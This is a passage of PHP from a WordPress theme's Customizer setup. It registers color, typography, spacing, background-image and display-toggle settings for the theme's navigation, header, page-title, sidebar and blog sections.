$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_nav_font_color_hover', array(
'default' => '#ffffff',
'label' => esc_html__( 'Navigation Font Hover Color', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 530,
))
);
/* Setting - Header - Navigation */
$wp_customize->add_setting( 'progression_studios_nav_underline', array(
'default' => '#8e94a0',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_nav_underline', array(
'default' => '#8e94a0',
'label' => esc_html__( 'Navigation Underline Highlight', 'xion-progression' ),
'description' => esc_html__( 'Remove by clearing the color.', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 535,
))
);
/* Setting - Header - Navigation */
$wp_customize->add_setting( 'progression_studios_nav_bg', array(
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_nav_bg', array(
'label' => esc_html__( 'Navigation Item Background', 'xion-progression' ),
'description' => esc_html__( 'Remove background by clearing the color.', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 536,
))
);
/* Setting - Header - Navigation */
$wp_customize->add_setting( 'progression_studios_nav_bg_hover', array(
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_nav_bg_hover', array(
'label' => esc_html__( 'Navigation Item Background Hover', 'xion-progression' ),
'description' => esc_html__( 'Remove background by clearing the color.', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 536,
))
);
/* Setting - Header - Navigation */
$wp_customize->add_setting('progression_studios_nav_letterspacing',array(
'default' => '0.04',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_nav_letterspacing', array(
'label' => esc_html__( 'Navigation Letter-Spacing', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 540,
'choices' => array(
'min' => -1,
'max' => 1,
'step' => 0.01
), ) )
);
/* Setting - Header - Navigation */
$wp_customize->add_setting( 'progression_studios_nav_search' ,array(
'default' => 'off',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_nav_search', array(
'label' => esc_html__( 'Search Icon in Navigation', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 600,
'choices' => array(
'on' => esc_html__( 'On', 'xion-progression' ),
'off' => esc_html__( 'Off', 'xion-progression' ),
),
))
);
/* Setting - Header - Navigation */
$wp_customize->add_setting( 'progression_studios_search_shop' ,array(
'default' => 'shop',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_search_shop', array(
'label' => esc_html__( 'Search Default or Products', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 610,
'choices' => array(
'shop' => esc_html__( 'Shop', 'xion-progression' ),
'default' => esc_html__( 'Default', 'xion-progression' ),
),
))
);
/* Setting - Header - Navigation */
$wp_customize->add_setting( 'progression_studios_nav_cart' ,array(
'default' => 'off',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_nav_cart', array(
'label' => esc_html__( 'Cart Icon in Navigation', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 620,
'choices' => array(
'on' => esc_html__( 'On', 'xion-progression' ),
'off' => esc_html__( 'Off', 'xion-progression' ),
),
))
);
/* Setting - Header - Navigation */
$wp_customize->add_setting( 'progression_studios_nav_cart_color', array(
'default' => '#ffffff',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_nav_cart_color', array(
'label' => esc_html__( 'Count Color', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 625,
))
);
/* Setting - Header - Navigation */
$wp_customize->add_setting( 'progression_studios_nav_cart_background', array(
'default' => '#ff8a00',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_nav_cart_background', array(
'label' => esc_html__( 'Count Background', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'priority' => 650,
))
);
/* Section - Header - Tablet/Mobile Header Options */
$wp_customize->add_setting( 'progression_studios_header_phone_number' ,array(
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( 'progression_studios_header_phone_number', array(
'label' => esc_html__( 'Optional Phone Number', 'xion-progression' ),
'section' => 'progression-studios-navigation-font',
'type' => 'text',
'priority' => 660,
)
);
/* Setting - Header - Sub-Navigation */
$wp_customize->add_setting( 'progression_studios_sub_nav_border_top', array(
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_sub_nav_border_top', array(
'label' => esc_html__( 'Sub-Navigation Border Top Color', 'xion-progression' ),
'section' => 'progression-studios-sub-navigation-font',
'priority' => 6,
))
);
/* Setting - Header - Sub-Navigation */
$wp_customize->add_setting( 'progression_studios_sub_nav_bg', array(
'default' => '#46494f',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sub_nav_bg', array(
'default' => '#46494f',
'label' => esc_html__( 'Sub-Navigation Background Color', 'xion-progression' ),
'section' => 'progression-studios-sub-navigation-font',
'priority' => 10,
))
);
/* Setting - Header - Navigation */
$wp_customize->add_setting('progression_studios_sub_nav_font_size',array(
'default' => '13',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_sub_nav_font_size', array(
'label' => esc_html__( 'Sub-Navigation Font Size', 'xion-progression' ),
'section' => 'progression-studios-sub-navigation-font',
'priority' => 510,
'choices' => array(
'min' => 0,
'max' => 30,
'step' => 1
), ) )
);
/* Setting - Header - Navigation */
$wp_customize->add_setting( 'progression_studios_sub_nav_letterspacing' ,array(
'default' => '0',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_sub_nav_letterspacing', array(
'label' => esc_html__( 'Sub-Navigation Letter-Spacing', 'xion-progression' ),
'section' => 'progression-studios-sub-navigation-font',
'priority' => 515,
'choices' => array(
'min' => -1,
'max' => 1,
'step' => 0.01
), ) )
);
/* Setting - Header - Sub-Navigation */
$wp_customize->add_setting( 'progression_studios_sub_nav_font_color', array(
'default' => 'rgba(255,255,255, 0.8)',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sub_nav_font_color', array(
'default' => 'rgba(255,255,255, 0.8)',
'label' => esc_html__( 'Sub-Navigation Font Color', 'xion-progression' ),
'section' => 'progression-studios-sub-navigation-font',
'priority' => 520,
))
);
/* Setting - Header - Sub-Navigation */
$wp_customize->add_setting( 'progression_studios_sub_nav_hover_font_color', array(
'default' => '#ffffff',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sub_nav_hover_font_color', array(
'default' => '#ffffff',
'label' => esc_html__( 'Sub-Navigation Font Hover Color', 'xion-progression' ),
'section' => 'progression-studios-sub-navigation-font',
'priority' => 530,
))
);
/* Setting - Header - Sub-Navigation */
$wp_customize->add_setting( 'progression_studios_sub_nav_border_color', array(
'default' => 'rgba(255,255,255, 0.09)',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sub_nav_border_color', array(
'default' => '=rgba(255,255,255, 0.09)',
'label' => esc_html__( 'Sub-Navigation Divider Color', 'xion-progression' ),
'section' => 'progression-studios-sub-navigation-font',
'priority' => 540,
))
);
/* Setting - Header - Sub-Navigation */
$wp_customize->add_setting( 'progression_studios_sub_nav_hover_bullet', array(
'default' => '#ffffff',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sub_nav_hover_bullet', array(
'default' => '#ffffff',
'label' => esc_html__( 'Sub-Navigation Hover Bullet', 'xion-progression' ),
'section' => 'progression-studios-sub-navigation-font',
'priority' => 550,
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_sub_nav_bullet_effect' ,array(
'default' => 'true',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_sub_nav_bullet_effect', array(
'label' => esc_html__( 'Sub-Navigation Hover Effect', 'xion-progression' ),
'section' => 'progression-studios-sub-navigation-font',
'priority' => 560,
'choices' => array(
'true' => esc_html__( 'Animate', 'xion-progression' ),
'false' => esc_html__( 'No Animation', 'xion-progression' ),
),
))
);
/* Section - Header - Top Header Options */
$wp_customize->add_setting( 'progression_studios_top_header_onoff' ,array(
'default' => 'off-pro',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_top_header_onoff', array(
'label' => esc_html__( 'Display Top Header Bar?', 'xion-progression' ),
'section' => 'progression-studios-top-header-font',
'priority' => 10,
'choices' => array(
'on-pro' => esc_html__( 'On', 'xion-progression' ),
'off-pro' => esc_html__( 'Off', 'xion-progression' ),
),
))
);
/* Section - Header - Top Header Options */
$wp_customize->add_setting( 'progression_studios_top_header_background', array(
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_background', array(
'label' => esc_html__( 'Top Header Background Color', 'xion-progression' ),
'section' => 'progression-studios-top-header-font',
'priority' => 20,
))
);
/* Section - Header - Top Header Options */
$wp_customize->add_setting( 'progression_studios_top_header_border_bottom', array(
'default' => 'rgba(255,255,255, 0.1)',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_border_bottom', array(
'default' => 'rgba(255,255,255, 0.1)',
'label' => esc_html__( 'Top Header Border Bottom', 'xion-progression' ),
'section' => 'progression-studios-top-header-font',
'priority' => 22,
))
);
/* Setting - General - Page Title */
$wp_customize->add_setting( 'progression_studios_top_header_bg_image' ,array(
'sanitize_callback' => 'esc_url_raw',
) );
$wp_customize->add_control( new WP_Customize_Image_Control($wp_customize,'progression_studios_top_header_bg_image', array(
'label' => esc_html__( 'Top Header Background Image', 'xion-progression' ),
'section' => 'progression-studios-top-header-font',
'priority' => 23,
))
);
/* Setting - Header - Header Options */
$wp_customize->add_setting( 'progression_studios_header_bg_image_image_position' ,array(
'default' => 'cover',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_header_bg_image_image_position', array(
'label' => esc_html__( 'Image Cover', 'xion-progression' ),
'section' => 'progression-studios-top-header-font',
'priority' => 25,
'choices' => array(
'cover' => esc_html__( 'Image Cover', 'xion-progression' ),
'repeat-all' => esc_html__( 'Image Pattern', 'xion-progression' ),
),
))
);
/* Section - Header - Top Header Options */
$wp_customize->add_setting('progression_studios_top_header_font_size',array(
'default' => '12',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_top_header_font_size', array(
'label' => esc_html__( 'Top Header Font Size', 'xion-progression' ),
'section' => 'progression-studios-top-header-font',
'priority' => 530,
'choices' => array(
'min' => 5,
'max' => 25,
'step' => 1
), ) )
);
/* Section - Header - Top Header Options */
$wp_customize->add_setting('progression_studios_top_header_padding',array(
'default' => '14',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_top_header_padding', array(
'label' => esc_html__( 'Top Header Padding Above/Below', 'xion-progression' ),
'section' => 'progression-studios-top-header-font',
'priority' => 535,
'choices' => array(
'min' => 0,
'max' => 30,
'step' => 1
), ) )
);
/* Section - Header - Top Header Options */
$wp_customize->add_setting( 'progression_studios_top_header_color', array(
'default' => 'rgba(255,255,255, 0.75)',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_color', array(
'default' => 'rgba(255,255,255, 0.75)',
'label' => esc_html__( 'Top Header Font/Link Color', 'xion-progression' ),
'section' => 'progression-studios-top-header-font',
'priority' => 550,
))
);
/* Section - Header - Top Header Options */
$wp_customize->add_setting( 'progression_studios_top_header_hover_color', array(
'default' => '#ffffff',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_hover_color', array(
'default' => '#ffffff',
'label' => esc_html__( 'Top Header Font/Link Hover Color', 'xion-progression' ),
'section' => 'progression-studios-top-header-font',
'priority' => 555,
))
);
/* Section - Header - Top Header Options */
$wp_customize->add_setting( 'progression_studios_top_header_sub_border_top', array(
'default' => '#00da97',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_top_header_sub_border_top', array(
'label' => esc_html__( 'Sub Navigation Border top', 'xion-progression' ),
'section' => 'progression-studios-top-header-font',
'priority' => 560,
))
);
/* Section - Header - Top Header Options */
$wp_customize->add_setting( 'progression_studios_top_header_sub_bg', array(
'default' => '#ffffff',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_sub_bg', array(
'default' => '#ffffff',
'label' => esc_html__( 'Sub Navigation Background', 'xion-progression' ),
'section' => 'progression-studios-top-header-font',
'priority' => 565,
))
);
/* Section - Header - Top Header Options */
$wp_customize->add_setting( 'progression_studios_top_header_sub_border_clr', array(
'default' => 'rgba(0,0,0, 0.08)',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_sub_border_clr', array(
'default' => 'rgba(0,0,0, 0.08)',
'label' => esc_html__( 'Sub Navigation Border Color', 'xion-progression' ),
'section' => 'progression-studios-top-header-font',
'priority' => 568,
))
);
/* Section - Header - Top Header Options */
$wp_customize->add_setting( 'progression_studios_top_header_sub_color', array(
'default' => '#888888',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_sub_color', array(
'default' => '#888888',
'label' => esc_html__( 'Sub Navigation Font Color', 'xion-progression' ),
'section' => 'progression-studios-top-header-font',
'priority' => 570,
))
);
/* Section - Header - Top Header Options */
$wp_customize->add_setting( 'progression_studios_top_header_sub_hover_color', array(
'default' => '#222222',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_top_header_sub_hover_color', array(
'default' => '#222222',
'label' => esc_html__( 'Sub Navigation Font Hover Color', 'xion-progression' ),
'section' => 'progression-studios-top-header-font',
'priority' => 575,
))
);
/* Panel - Body */
$wp_customize->add_panel( 'progression_studios_body_panel', array(
'priority' => 8,
'title' => esc_html__( 'Body', 'xion-progression' ),
) );
/* Setting - Body - Body Main */
$wp_customize->add_setting( 'progression_studios_default_link_color', array(
'default' => '#5be592',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_default_link_color', array(
'label' => esc_html__( 'Default Link Color', 'xion-progression' ),
'section' => 'progression-studios-body-font',
'priority' => 500,
))
);
/* Setting - Body - Body Main */
$wp_customize->add_setting( 'progression_studios_default_link_hover_color', array(
'default' => '#ffffff',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_default_link_hover_color', array(
'label' => esc_html__( 'Default Hover Link Color', 'xion-progression' ),
'section' => 'progression-studios-body-font',
'priority' => 510,
))
);
/* Setting - Body - Body Main */
$wp_customize->add_setting( 'progression_studios_background_color', array(
'default' => '#03090d',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_background_color', array(
'label' => esc_html__( 'Body Background Color', 'xion-progression' ),
'section' => 'progression-studios-body-font',
'priority' => 513,
))
);
/* Setting - Body - Body Main */
$wp_customize->add_setting( 'progression_studios_body_bg_image' ,array(
'sanitize_callback' => 'esc_url_raw',
) );
$wp_customize->add_control( new WP_Customize_Image_Control($wp_customize,'progression_studios_body_bg_image', array(
'label' => esc_html__( 'Body Background Image', 'xion-progression' ),
'section' => 'progression-studios-body-font',
'priority' => 525,
))
);
/* Setting - Body - Body Main */
$wp_customize->add_setting( 'progression_studios_body_bg_image_image_position' ,array(
'default' => 'cover',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_body_bg_image_image_position', array(
'label' => esc_html__( 'Image Cover', 'xion-progression' ),
'section' => 'progression-studios-body-font',
'priority' => 530,
'choices' => array(
'cover' => esc_html__( 'Image Cover', 'xion-progression' ),
'repeat-all' => esc_html__( 'Image Pattern', 'xion-progression' ),
),
))
);
/* Setting - Body - Page Title */
$wp_customize->add_setting('progression_studios_page_title_padding_top',array(
'default' => '180',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_page_title_padding_top', array(
'label' => esc_html__( 'Page Title Top Padding', 'xion-progression' ),
'section' => 'progression-studios-page-title',
'priority' => 501,
'choices' => array(
'min' => 0,
'max' => 450,
'step' => 1
), ) )
);
/* Setting - Body - Page Title */
$wp_customize->add_setting('progression_studios_page_title_padding_bottom',array(
'default' => '180',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_page_title_padding_bottom', array(
'label' => esc_html__( 'Page Title Bottom Padding', 'xion-progression' ),
'section' => 'progression-studios-page-title',
'priority' => 515,
'choices' => array(
'min' => 0,
'max' => 450,
'step' => 1
), ) )
);
/* Setting - General - General Layout */
$wp_customize->add_setting( 'progression_studios_page_title_align' ,array(
'default' => 'left',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_page_title_align', array(
'label' => esc_html__( 'Page Title Alignment', 'xion-progression' ),
'section' => 'progression-studios-page-title',
'priority' => 518,
'choices' => array(
'left' => esc_html__( 'Left', 'xion-progression' ),
'center' => esc_html__( 'Center', 'xion-progression' ),
'right' => esc_html__( 'Right', 'xion-progression' ),
),
))
);
/* Setting - General - Page Title */
$wp_customize->add_setting( 'progression_studios_page_title_bg_image' ,array(
'sanitize_callback' => 'esc_url_raw',
) );
$wp_customize->add_control( new WP_Customize_Image_Control($wp_customize,'progression_studios_page_title_bg_image', array(
'label' => esc_html__( 'Page Title Background Image', 'xion-progression' ),
'section' => 'progression-studios-page-title',
'priority' => 535,
))
);
/* Setting - General - Page Title */
$wp_customize->add_setting( 'progression_studios_page_title_image_position' ,array(
'default' => 'cover',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_page_title_image_position', array(
'section' => 'progression-studios-page-title',
'priority' => 536,
'choices' => array(
'cover' => esc_html__( 'Image Cover', 'xion-progression' ),
'repeat-all' => esc_html__( 'Image Pattern', 'xion-progression' ),
),
))
);
/* Setting - Body - Page Title */
$wp_customize->add_setting( 'progression_studios_page_title_bg_color', array(
'default' => '#121517',
'sanitize_callback' => 'sanitize_hex_color',
) );
$wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_page_title_bg_color', array(
'label' => esc_html__( 'Page Title Background Color', 'xion-progression' ),
'section' => 'progression-studios-page-title',
'priority' => 580,
))
);
/* Setting - Body - Page Title */
$wp_customize->add_setting( 'progression_studios_page_title_overlay_color_top', array(
'default' => 'rgba(0,0,0,0)',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_page_title_overlay_color_top', array(
'default' => 'rgba(0,0,0,0)',
'label' => esc_html__( 'Page Title Gradient Overlay Top', 'xion-progression' ),
'section' => 'progression-studios-page-title',
'priority' => 600,
))
);
/* Setting - Body - Page Title */
$wp_customize->add_setting( 'progression_studios_page_title_overlay_color', array(
'default' => 'rgba(0,0,0,0)',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_page_title_overlay_color', array(
'default' => 'rgba(0,0,0,0)',
'label' => esc_html__( 'Page Title Gradient Overlay Bottom', 'xion-progression' ),
'section' => 'progression-studios-page-title',
'priority' => 600,
))
);
/* Setting - Body - Page Title */
$wp_customize->add_setting( 'progression_studios_sidebar_header_border', array(
'default' => 'rgba(255,255,255, 0.07)',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sidebar_header_border', array(
'default' => 'rgba(255,255,255, 0.07)',
'label' => esc_html__( 'List Divider Border', 'xion-progression' ),
'section' => 'progression-studios-sidebar-headings',
'priority' => 620,
))
);
/* Setting - Body - Page Title */
$wp_customize->add_setting( 'progression_studios_sidebar_heading_bg', array(
'default' => '#1d1f22',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sidebar_heading_bg', array(
'default' => '#1d1f22',
'label' => esc_html__( 'Heading Background', 'xion-progression' ),
'section' => 'progression-studios-sidebar-headings',
'priority' => 625,
))
);
/* Setting - Body - Page Title */
$wp_customize->add_setting( 'progression_studios_sidebar_widget_bg', array(
'default' => '#16171a',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sidebar_widget_bg', array(
'default' => '#16171a',
'label' => esc_html__( 'Widget Background', 'xion-progression' ),
'section' => 'progression-studios-sidebar-headings',
'priority' => 628,
))
);
/* Setting - Body - Page Title */
$wp_customize->add_setting( 'progression_studios_sidebar_search', array(
'default' => '#1d1f22',
'sanitize_callback' => 'progression_studios_sanitize_customizer',
) );
$wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_sidebar_search', array(
'default' => '#1d1f22',
'label' => esc_html__( 'Search Widget Background', 'xion-progression' ),
'section' => 'progression-studios-sidebar-headings',
'priority' => 660,
))
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_section( 'progression_studios_section_blog_index', array(
'title' => esc_html__( 'Blog Archive Options', 'xion-progression' ),
'panel' => 'progression_studios_blog_panel', // Not typically needed.
'priority' => 20,
)
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting( 'progression_studios_blog_cat_sidebar' ,array(
'default' => 'right-sidebar',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_cat_sidebar', array(
'label' => esc_html__( 'Archive/Category Sidebar', 'xion-progression' ),
'section' => 'progression_studios_section_blog_index',
'priority' => 100,
'choices' => array(
'left-sidebar' => esc_html__( 'Left', 'xion-progression' ),
'right-sidebar' => esc_html__( 'Right', 'xion-progression' ),
'no-sidebar' => esc_html__( 'Hidden', 'xion-progression' ),
),
))
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting( 'progression_studios_blog_index_meta_category_display' ,array(
'default' => 'true',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_index_meta_category_display', array(
'label' => esc_html__( 'Category Display', 'xion-progression' ),
'section' => 'progression_studios_section_blog_index',
'priority' => 332,
'choices' => array(
'true' => esc_html__( 'Display', 'xion-progression' ),
'false' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting( 'progression_studios_blog_excerpt_display' ,array(
'default' => 'true',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_excerpt_display', array(
'label' => esc_html__( 'Excerpt Display', 'xion-progression' ),
'section' => 'progression_studios_section_blog_index',
'priority' => 333,
'choices' => array(
'true' => esc_html__( 'Display', 'xion-progression' ),
'false' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting( 'progression_studios_blog_meta_hide' ,array(
'default' => 'true',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_meta_hide', array(
'label' => esc_html__( 'Display Post Meta', 'xion-progression' ),
'section' => 'progression_studios_section_blog_index',
'priority' => 334,
'choices' => array(
'true' => esc_html__( 'Display', 'xion-progression' ),
'false' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting( 'progression_studios_blog_meta_author_display' ,array(
'default' => 'true',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_meta_author_display', array(
'label' => esc_html__( 'Author Meta', 'xion-progression' ),
'section' => 'progression_studios_section_blog_index',
'priority' => 335,
'choices' => array(
'true' => esc_html__( 'Display', 'xion-progression' ),
'false' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting( 'progression_studios_blog_meta_date_display' ,array(
'default' => 'true',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_meta_date_display', array(
'label' => esc_html__( 'Date Meta', 'xion-progression' ),
'section' => 'progression_studios_section_blog_index',
'priority' => 340,
'choices' => array(
'true' => esc_html__( 'Display', 'xion-progression' ),
'false' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Section - Blog - Blog Index Post Options */
$wp_customize->add_setting( 'progression_studios_blog_meta_comment_display' ,array(
'default' => 'true',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_meta_comment_display', array(
'label' => esc_html__( 'Comment Count Meta', 'xion-progression' ),
'section' => 'progression_studios_section_blog_index',
'priority' => 355,
'choices' => array(
'true' => esc_html__( 'Display', 'xion-progression' ),
'false' => esc_html__( 'Hide', 'xion-progression' ),
),
))
);
/* Section - Blog - Blog Post Options */
$wp_customize->add_setting( 'progression_studios_blog_post_sidebar' ,array(
'default' => 'right',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_post_sidebar', array(
'label' => esc_html__( 'Blog Post Sidebar', 'xion-progression' ),
'section' => 'progression-studios-blog-post-options',
'priority' => 10,
'choices' => array(
'left' => esc_html__( 'Left', 'xion-progression' ),
'right' => esc_html__( 'Right', 'xion-progression' ),
'none' => esc_html__( 'No Sidebar', 'xion-progression' ),
),
))
);
/* Setting - Body - Page Title */
$wp_customize->add_setting('progression_studios_post_title_padding_top',array(
'default' => '180',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_post_title_padding_top', array(
'label' => esc_html__( 'Post Title Top Padding', 'xion-progression' ),
'section' => 'progression-studios-blog-post-title',
'priority' => 620,
'choices' => array(
'min' => 0,
'max' => 450,
'step' => 1
), ) )
);
/* Setting - Body - Page Title */
$wp_customize->add_setting('progression_studios_post_title_padding_bottom',array(
'default' => '180',
'sanitize_callback' => 'progression_studios_sanitize_choices',
) );
$wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_post_title_padding_bottom', array(
'label' => esc_html__( 'Post Title Bottom Padding', 'xion-progression' ),
'section' => 'progression-studios-blog-post-title',
'priority' => 630,
'choices' => array(
'min' => 0,
'max' => 450,
'step' => 1
), ) )
);
/* Setting - Body - Page Title */
$wp_customize->add_setting( 'progression_studios_post_title_overlay_color_top', array(
